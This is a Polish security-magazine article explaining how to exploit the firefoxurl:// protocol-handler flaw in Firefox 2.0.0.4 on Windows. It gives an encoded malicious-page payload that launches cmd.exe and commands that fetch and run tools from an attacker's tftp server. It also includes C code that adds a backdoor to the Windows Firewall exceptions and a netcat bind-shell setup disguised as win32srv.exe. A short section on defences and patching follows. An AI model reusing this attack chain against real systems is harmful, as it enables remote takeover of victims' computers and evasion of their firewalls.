Atak

Niebezpieczny Firefox

Konrad Zuwała

stopień trudności

Przeglądarka Mozilli zyskuje sobie coraz większą popularność. Wielu użytkowników wybrało ją ze względu na bezpieczeństwo, które oferuje, wydajny silnik Gecko czy kilka udoskonaleń, które już na stałe zagościły w przeglądarkach. Czy jednak Firefox jest tak bezpieczny, za jakiego jest uważany?

Przeglądarka Mozilli liczy sobie już ładnych parę lat. Swoją nazwę, Firefox, uzyskała w lutym 2004. Zjednywała sobie coraz większe rzesze użytkowników, by teraz stać się de facto drugą – po Internet Explorerze – przeglądarką na rynku. Jednak 10 lipca 2007 roku odkryta została luka, która umożliwia uruchomienie dowolnego programu w systemie Windows w kontekście Mozilli Firefox, z prawami użytkownika aktualnie korzystającego z przeglądarki.

Krótko o Firefoksie, czyli przegląd błędów

Mozilla Firefox – mimo, iż zyskała sobie powszechną opinię niezwykle bezpiecznego narzędzia nie ustrzegła się błędów, których konsekwencją były często poważne luki w zabezpieczeniach. Oczywiście nie ma w tym nic nadzwyczajnego, albowiem oprogramowanie ma to do siebie, że tworzą je ludzie, a ci nie są nieomylni. Co ciekawe, nie wszystkie dziury zostały załatane (na stronie *secunia.com* 6 z 14 ma status *Unpatched*). Co psuło się w tej przeglądarce? Nie radziła sobie ona z obsługą modelu DOM, co było przyczyną błędu umożliwiającego ominięcie zabezpieczeń i zmianę danych wyświetlanych w przeglądarce. Silnik JavaScript umożliwiał uszkodzenie pamięci, co w połączeniu z techniką przepełnienia bufora sprawiało, że potencjalny intruz miał możliwość uruchomienia własnego kodu na komputerze ofiary. Także protokoły tworzone przez Firefoksa były przyczyną wielu krytycznych luk związanych z bezpieczeństwem. I właśnie jeden z nich powoduje ostatnią lukę – *firefoxurl://*.

Z artykułu dowiesz się

- jak skompromitować system użytkownika z przeglądarką Mozilla Firefox, działający w środowisku Windows,
- jak zabezpieczyć się przed tego typu atakiem.

Co powinieneś wiedzieć

- znać podstawy JavaScriptu,
- umieć pisać aplikacje sieciowe w środowisku Windows,
- znać podstawy WinAPI,
- umieć administrować systemami Windows z wykorzystaniem wiersza poleceń.

FirefoxURL

Mozilla Firefox korzysta z silnika Gecko. Silnik ten, oprócz przetwarzania stron internetowych, spełnia też inne istotne zadanie – zarządza interfejsem użytkownika przeglądarki. Do tego celu przeznaczony jest odrębny protokół Mozilli – *firefoxurl://*. Uchwyt do tego protokołu jest rejestrowany w rejestrze systemu Windows, tak, jak jest to pokazane na Listingu 1.

Zatem, gdy wykonamy polecenie w rodzaju: `firefoxurl://xxx`, przeglądarka zostanie wywołana w wierszu poleceń: `C:\Program Files\Mozilla\Firefox.exe -url „xxx" -requestPending`. Błąd ten występuje jedynie w Firefoksie w systemie Windows, a wersja przeglądarki, w której go odkryto, to 2.0.0.4. Dlaczego tylko Windows? Otóż do wykonania złośliwego kodu konieczna jest obecność przeglądarki Internet Explorer, albowiem nie dokonuje ona sprawdzenia wpisywanego łańcucha pod kątem obecności znaków specjalnych (& itp.), przez co możliwe jest wysłanie tak skonstruowanego żądania. Na systemach uniksowych nie mamy Internet Explorera, nie mamy też możliwości wywołania protokołu Firefoksa z jakiejkolwiek innej aplikacji, co skutecznie blokuje nam możliwość działania. Mozilla obecna na Linuksie nie będzie więc obiektem naszego ataku.

Opisywana luka pozwala na uruchomienie dowolnego programu w kontekście np. *Chrome*, który jest odpowiedzialny za wygląd przeglądarki. Intruz może więc uruchomić za pomocą specjalnie spreparowanej strony dowolny program na komputerze ofiary, np. `cmd.exe`, czyli powłokę systemu Windows. Może też wykonać cały ciąg komend korzystając ze znaków `&&` oznaczających wykonanie następnego polecenia, gdy poprzednie zakończy się sukcesem. Tak więc ciąg poleceń w rodzaju: uruchom powłokę `&&` pobierz `Backdoor &&` omiń `FirewallWindows &&` uruchom `Backdoor` pozwoli intruzowi uzyskać zdalny dostęp do komputera ofiary, omijając przy tym firewall systemu Windows. Przykładowy backdoor może otwierać powłokę (*cmd.exe*) na porcie wybranym przez intruza i oczekiwać na jego połączenie...

Preparujemy odpowiednią stronę

Pierwszym krokiem, jaki należy wykonać, jest spreparowanie odpowiedniej strony i namówienie ofiary, aby weszła na nią używając przeglądarki Internet Explorer. Tak, Internet Explorer, albowiem gdy napotka on odniesienie *firefoxurl://*, wywoła Mozillę Firefox w odpowiednim kontekście, uruchamiając przy okazji program *cmd.exe* na komputerze ofiary i jednocześnie pomijając sprawdzenie żądania pod kątem występowania znaków specjalnych. Zastanówmy się najpierw, jakie działania powinna podjąć nasza strona po uzyskaniu dostępu do powłoki. Z pewnością powinna w jakiś sposób przetransferować przygotowany przez nas backdoor na dysk ofiary, następnie aplikacja ta powinna zostać uruchomiona. No i nie zapominajmy o ominięciu firewalla systemu Windows – blokuje on domyślnie połączenia przychodzące na komputer ofiary, tak więc powinniśmy dodać aplikację backdoora do listy wyjątków zapory. Jeśli bardzo chcemy, możliwe jest nawet dodanie naszej aplikacji do listy usług (*services*) – tak, aby uruchamiała się razem z systemem operacyjnym.

Powstają przy tym dwa problemy: jak przemycić tak skomplikowane zapytanie oraz w jaki sposób ściągnąć pliki na komputer użytkownika. Ale po kolei.

Nasze działania musimy rozpocząć od przygotowania kodu JavaScript, który pozwoli nam spreparować odpowiednią stronę internetową, zawierającą nasz exploit. Co powinna zawierać taka strona? Otóż sam kod nie jest skomplikowany: jedyne co należy zrobić, to wywołać z poziomu `JavaScriptu firefoxurl` w kontekście jakiegoś rozszerzenia Firefoksa – np. Chrome, na którym skupimy się w naszym exploicie.

Jak widać na Listingu 2. wywołujemy protokół Firefoksa, *firefoxurl://*, następnie inicjujemy proces potomny, którego zadaniem jest wywołanie programu *cmd.exe*. Kod JavaScript korzysta z wewnętrznego interfejsu Mozilli Firefox, z interfejsu procesów Mozilli (więcej na ten temat w ramce *W Sieci*). Co oznaczają te wszystkie cyfry w kodzie poprzedzone znakiem *%*? Otóż jest to *Unicode* – kodujemy znaki specjalne w ten sposób, aby odróżniały się nieco od kodu JavaScript (tam też mamy cudzysłów, apostrof, itp., więc stosowanie tych znaków mogłoby doprowadzić do opacznej interpretacji skryptu przez przeglądarkę. Dodatkowo zabezpiecza nas to przed kontrolą wpisywanego tekstu, albowiem

Listing 1. *Klucz protokołu Firefoxa w rejestrze Windows.*

```
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]C:\PROGRA~1\MOZILL~2\FIREFOX.EXE -url "%1" -requestPending
```

Listing 2. *Kod przykładowego exploita, wywołującego program cmd.exe na komputerze użytkownika*

```
firefoxurl:test%22%20-chrome%20%
22javascript:C=Components.classes;I=Components.interfaces;file=C%5B%
27@mozilla.org/file/local;1%27%5D.createInstance%28I.nsILocalFile%29;file.initWithPath%28%
27C:%27+String.fromCharCode%2892%29+String.fromCharCode%2892%29+%27Windows%
27+String.fromCharCode%2892%29+String.fromCharCode%2892%29+%27System32%
27+String.fromCharCode%2892%29+String.fromCharCode%2892%29+%27cmd.exe%27%
29;process=C%5B%27@mozilla.org/process/util;1%27%5D.createInstance%28I.nsIProcess%
29;process.init%28file%29;process.run%28true%252c%7B%7D%252c0%29;
```

w niektórych sytuacjach kod może zostać rozpoznany jako złośliwy, co zapobiegnie jego wykonaniu). Aby przygotować odpowiedni kod, należy najpierw dokładnie przemyśleć działanie exploita. W pierwszej kolejności winien on uruchomić powłokę, następnie za pomocą protokołu *tftp* pobrać aplikację backdoora i program modyfikujący rejestr (dodanie do wyjątków firewalla Windows), po czym konieczne jest uruchomienie obu aplikacji. Dlaczego wybór w kwestii przesyłania plików padł na protokół tftp? Otóż jest on niezwykle prostym, bazującym na UDP protokołem. Obsługa programu *tftp.exe* jest bardzo intuicyjna, dzięki czemu maksymalnie skrócimy długość naszego zapytania. Na Listingu 3. widać finalną wersję wywołania *cmd.exe*.

Jak widać z Listingu 3. musimy być posiadaczami serwera tftp – wystarczy ściągnąć darmowy tftp-serrver dla systemu Windows bądź zainstalować odpowiednią aplikację dostępną dla Linuksa. Mamy zatem gotowy plan działania, jednak najpierw musimy przygotować odpowiednie programy – `modifyReg.exe`, dodający backdoor do listy wyjątków zapory Windows oraz `win32srv.exe` – właściwą aplikację odpowiadającą za nasz dostęp do komputera ofiary.

Omijamy firewall Windows

Abyśmy mieli możliwość zdalnego połączenia z komputerem, na którym zainstalujemy nasz backdoor, musimy najpierw ominąć firewall – w przeciwnym wypadku wszelkie przychodzące połączenia zostaną zablokowane. Rozpocznijmy od zrozumienia obsługi tegoż firewalla. Zapora systemu Windows standardowo blokuje wszystkie połączenia przychodzące (nie kontroluje ona ruchu wychodzącego). Aby program sieciowy mógł działać, możemy go dodać do tzw. *listy wyjątków* – czyli zestawienia programów, które nie są przez zaporę kontrolowane i mogą przyjmować dowolne połączenia na wybranych portach. W jaki jednak sposób sprawić, aby nasza aplikacja znalazła się na liście wyjątków? Z pomocą przychodzi nam rejestr Windows, gdzie zapisane są wszystkie informacje o konfiguracji komputera, w tym również o zaporze.

Lista wyjątków zapory jest w rzeczywistości kluczem rejestru, ścieżka dostępu do autoryzowanych aplikacji jest pokazana na Listingu 4.

Po otwarciu tego klucza ujrzymy wszystkie programy, które znajdują się w wyjątkach zapory. Naszym celem jest więc umieszczenie nowej wartości, typu *REG_SZ*, której nazwa będzie odpowiadała ścieżce dostępu do backdoora (czyli *C:\WINDOWS\system32\win32srv.exe*), a wartość pokryje się z nazwą z jednym tylko wyjątkiem – znajdzie się tam słowo *enabled*. To wszystko będzie zadaniem aplikacji *modifyReg.exe* – za pomocą funkcji `WinAPI` zmieni ona rejestr systemu. Posłuży nam do tego funkcja `RegistryCreateKeyEx`.

Żeby przekonać się o skuteczności programu, można za pomocą programu *regedit* odnaleźć odpowiedni klucz lub po prostu wybrać menu Zapory z Panelu Sterowania i sprawdzić listę wyjątków. Program *win32srv.exe* jest poza kontrolą. Oczywiście, uważny administrator dostrzeże nieznaną aplikację na liście wyjątków, co w połączeniu z pewną wiedzą o zarządzanym systemie doprowadzi do usunięcia naszego backdoora. Jednak większość użytkowników po ujrzeniu czegoś w rodzaju *win32srv.exe*, czegoś co wygląda na ważny plik systemowy, postanowi w imię świętego spokoju zostawić ten program.

Co jednak zrobić w sytuacji, gdy użytkownik używa innej aplikacji niż wbudowany w jądro systemu Windows firewall? Przecież na rynku aż roi się od tego typu rozwiązań. Może to znacząco utrudnić nasz atak, ale tylko w części przypadków. Otóż niektóre zapory korzystają również z listy wyjątków firewalla Windows, dopuszczając ruch sieciowy dla programów, które dodane są jako wyjątki tejże aplikacji. Oczywiście dotyczy to tylko pewnej grupy rozwiązań, znaczna część programów filtrujących pakiety używa tylko i wyłącznie własnych baz danych, co blokuje możliwość ich prostego ominięcia. Jednak z pomocą przychodzi nam znów WinAPI – można po prostu „podczepić" się pod proces aplikacji, która ma możliwość korzystania z Internetu. Autor nie będzie się na ten temat rozpisywać, albowiem doskonale wyjaśnia tę kwestię artykuł z hakin9 nr 3/2005, zatytułowany *Omijanie firewalli osobistych w Windows*. Nawet najlepszy firewall nie może stanąć nam na przeszkodzie.

Backdoor

Ostatnim krokiem potrzebnym do powodzenia operacji jest skonstruowanie aplikacji backdoora. Powinien on otwierać powłokę (*cmd.exe*) na wybranym przez nas porcie i w razie nadejścia połączenia przekierowywać standardowe wejście, wyjście i strumień błędów do stworzonego gniazda – tak, abyśmy otrzymali coś w rodzaju sesji *telnetu*. Tyle, że bez potrzeby znajomości hasła.

Można w tym miejscu pokusić się o napisanie samemu takiego progra-

Listing 3. *Finalne wywołanie programu cmd.exe.*

```
cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe"
```

Listing 4. *Dostęp do autoryzowanych aplikacji zapory Windows poprzez rejestr.*

```
HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\
                    AuthorizedApplications\List.
```

mu, jednak z pomocą przychodzi nam znany program netcat. Potrafi on nasłuchiwać połączenia przychodzącego na zadanym porcie, by następnie przekierować wyjście, wejście oraz strumień błędów dowolnego programu (w naszym wypadku jest to *cmd.exe*). Dodatkowo zastosowanie netcata – jako sprawdzonego narzędzia – pozwoli nam uniknąć wszelkich niespodziewanych problemów implementacyjnych. Tak więc ściągamy netcata dla Windows NT, zmieniamy jego nazwę na *win32srv.exe*, a następnie umieszczamy na naszym serwerze ftp. Musimy nieco zmodyfikować nasze finalne wywołanie – mianowicie programowi *win32srv.exe* podać trzeba w wierszu poleceń pewne argumenty: przede wszystkim numer portu, na którym ma nasłuchiwać oraz aplikację, którą winien do niego przekierować.

Przeanalizujmy Listing 6. uruchamiamy netcat na porcie 1234. Opcja -l mówi mu, że ma oczekiwać na połączenia, `-e cmd.exe` oznacza przekierowanie *cmd.exe* na port 1234, a `-L` każe mu w razie przerwania sesji oczekiwać na następne połączenia.

Mamy gotową aplikację backdoora, program omijający firewall oraz koncepcję spreparowania strony. Należy więc skleić to wszystko razem.

Łączymy elementy układanki

Na początku utwórzmy finalną wersję strony. Znaki specjalne (cudzysłowy, apostrofy, angielskie `&`) powinny być zakodowane *Unicode'm* – tak, aby ominąć zabezpieczenia związane z parsowaniem tego typu wyrażeń.

Kod zawarty na Listingu 7. jest tym, który umieszczamy na stronie. Można go wkleić do sekcji `<body onload="naszKod">`, można też utworzyć np. przycisk, który po kliknięciu go wywoła nasz spreparowany skrypt. Warto zwrócić uwagę na kodowanie cudzysłowów przy wywołaniu *cmd.exe*. Używamy konstrukcji \" (czyli w Unicode %5C%22). W zależności od wersji JavaScript (czyli od wersji przeglądarki) konstrukcja ta może zadziałać lub nie – w niektórych przypadkach znak \ jest niezbędny, nieraz zaś może okazać się nadmiarowy. Należy zatem sprawdzić obydwie możliwości. W przypadku, gdy Unicode nas nie ratuje, można także posłużyć się JavaScriptowym `String.fromCharCode()`.

Po spreparowaniu strony musimy oczywiście umieścić na naszym serwerze tftp odpowiednie pliki oraz zarejestrować IP ofiary (można je sprawdzić np. w logach serwera Apache lub za pomocą prostego kodu PHP). Po wykonaniu wszystkich kroków

Listing 5. *Kod programu modifyReg*

```
#include <windows.h>
#include <string.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
     LONG registryOperationStatus;
     HKEY backdoorKeyHandle;
    //Opis funkcji: http://msdn2.microsoft.com/en-us/library/ms724844.aspx
     #define BACKDOOR_KEY "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\
                     StandardProfile\\AuthorizedApplications\\List"

    RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                                          BACKDOOR_KEY,
                                          0,
                                          NULL,
                                          REG_OPTION_NON_VOLATILE,
                                          KEY_WRITE,
                                          NULL,
                                          &backdoorKeyHandle,
                                          NULL);
    // if(registryOperationStaus!=ERROR_SUCCESS)
     //    exit(0);
     RegSetValueEx(backdoorKeyHandle,
                                        "C:\\WINDOWS\\system32\\win32srv.exe",
                                        0,
                                        REG_SZ,
                                        "C:\\WINDOWS\\system32\\win32srv.exe:*:Enabled",
                                        strlen("C:\\WINDOWS\\system32\\win32srv.exe:*:Enabled")
                                        );
     return 0;
}
```

Listing 6. *Program netcat (win32srv.exe) wraz z odpowiednimi opcjami*

```
cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe -l -p1234 -d -e cmd.exe -L ”
```

oraz połączeniu się z ofiarą na porcie 1234 powinniśmy ujrzeć znak zachęty Windows: *C:>*.

Analiza zdarzenia – jak się zabezpieczyć?

Nasz atak udał się z kilku powodów. Przede wszystkim furtką do naszego komputera okazała się luka w przeglądarce. Jednak nawet mimo istnienia tego błędu jesteśmy w stanie zabezpieczyć się przed podobnymi atakami. I nie powiem w tym miejscu nic rewolucyjnego, albowiem metoda jest niezwykle prosta i chroni przed większością prób modyfikacji rejestru i plików systemowych. Otóż wystarczy korzystać z konta użytkownika z ograniczeniami oraz systemu plików NTFS. W przypadku, gdy intruz uzyska nasze uprawnienia podczas gdy korzystamy z konta administratora, może on do woli modyfikować rejestr i pliki systemowe, dzięki czemu jest w stanie ominąć zaporę Windows. Jednak gdy nasze konto jest ograniczone, nie będzie mógł zainstalować oprogramowania typu backdoor, albowiem zablokuje go firewall. Nie zmienia to faktu, iż potencjalny intruz może wykonać szkodliwe operacje w kontekście naszego użytkownika, takie jak skasowanie plików z katalogu domowego. Na to jest tylko jedna rada – nie można wchodzić na nieznane, podejrzane strony, które często są nam przysyłane przez komunikatory czy pocztę elektroniczną. Pozostaje mieć nadzieję, że wysoka świadomość zagrożeń internetowych uchroni Czytelnika przed tego typu atakami.

W Sieci

- *http://larholm.com/2007/07/10/internet-explorer-0day-exploit/* – proof of concept exploita
- *http://msdn2.microsoft.com/en-us/library/ms724844.aspx* – opis funkcji RegCreateKeyEx
- *http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/tftp.mspx?mfr=true* – opis polecenia tftp dla systemu Windows XP
- *http://www.vulnwatch.org/netcat/* – netcat dla Windows

Używać czy też nie, oto jest pytanie

Po zobaczeniu, jak prostym jest de facto przejęcie kontroli nad komputerem użytkownika Mozilli Firefox w systemie Windows, nasuwa się pytanie, czy używanie Mozilli jest dobrym pomysłem? Przecież przeglądarka ta nie jest tak bezpieczna, jakby się mogło wydawać przeciętnemu użytkownikowi komputera, który wiedzę czerpie głównie od znajomych lub z mało specjalistycznych portali. Bardziej świadomy internauta prędzej czy później postawi sobie pytanie dotyczące bytu Firefoksa na jego komputerze. Oczywiście jeśli używamy systemu Linux, problem dla nas nie istnieje. Jednak kiedy z jakichś powodów musimy używać Windows lub po prostu lubimy ten system, dobór przeglądarki wydaje się być w dobie wszechobecnego Internetu kwestią kluczową. Czy warto rezygnować z Mozilli? Moim skromnym zdaniem, zdecydowanie nie. Na uwagę zasługuje fakt, że mimo, iż wykrywane są w niej luki związane z bezpieczeństwem, są one równie szybko naprawiane poprzez opublikowanie kolejnej wersji (opisywana podatność została usunięta w wersji 2.0.0.5). Jesteśmy więc narażeni na atak przez relatywnie krótki okres czasu. Poza tym, gdy korzystamy z Internetu w pełni świadomi zagrożeń, stosujemy się do reguł bezpieczeństwa – wtedy nie mamy się czego obawiać. Cieszmy się więc dobrem Internetu, surfując po jego stronach niczym innym, jak Mozillą Firefox.

Listing 7. *Kod JavaScript, który należy umieścić w finalnej wersji strony*

```
firefoxurl:test%22%20-chrome%20%22javascript:C=Components.classes;I=Components.interfaces;file=C%5B%
27@mozilla.org/file/local;1%27%5D.createInstance%28I.nsILocalFile%29;file.initWithPath%28%
27C:%27+String.fromCharCode%2892%29+String.fromCharCode%2892%29+%27Windows%
27+String.fromCharCode%2892%29+String.fromCharCode%2892%29+%27System32%
27+String.fromCharCode%2892%29+String.fromCharCode%2892%29+%27cmd.exe%5C%22cd
c:+String.fromCharCode%2892%29+String.fromCharCode%2892%
29WINDOWS+String.fromCharCode%2892%29+String.fromCharCode%2892%
29system32+String.fromCharCode%2892%29+String.fromCharCode%2892%29 %26%26tftp
-i GET ourTftpServer.com/modifyReg.exe %26%26 tftp -i GET ourTftpServer.com/win32srv.exe %
26%26 modifyReg.exe %26%26 win32srv.exe -l -p1234 -L -d -e cmd.exe%5C%22 27%
29;process=C%5B%27@mozilla.org/process/util;1%27%5D.createInstance%28I.nsIProcess%
29;process.init%28file%29;process.run%28true%252c%7B%7D%252c0%29;
```

Podsumowanie

Opisywana podatność pozwala na uruchomienie praktycznie dowolnego kodu na komputerze użytkownika, co, jak zostało pokazane w artykule, może mieć przykre konsekwencje. Pozostaje tylko mieć nadzieję, że Czytelnik będzie szerokim łukiem omijał strony internetowe, które ktoś nieznajomy podesłał mu drogą elektroniczną. Kto wie, co czai się po drugiej stronie. ●

O autorze

Autor zajmuje się bezpieczeństwem aplikacji internetowych oraz szeroko rozumianą ochroną systemów komputerowych. W wolnych chwilach programuje (głównie C/C++, PHP) oraz zarządza portalem internetowym. Kontakt z autorem: *kzuwala@poczta.onet.pl*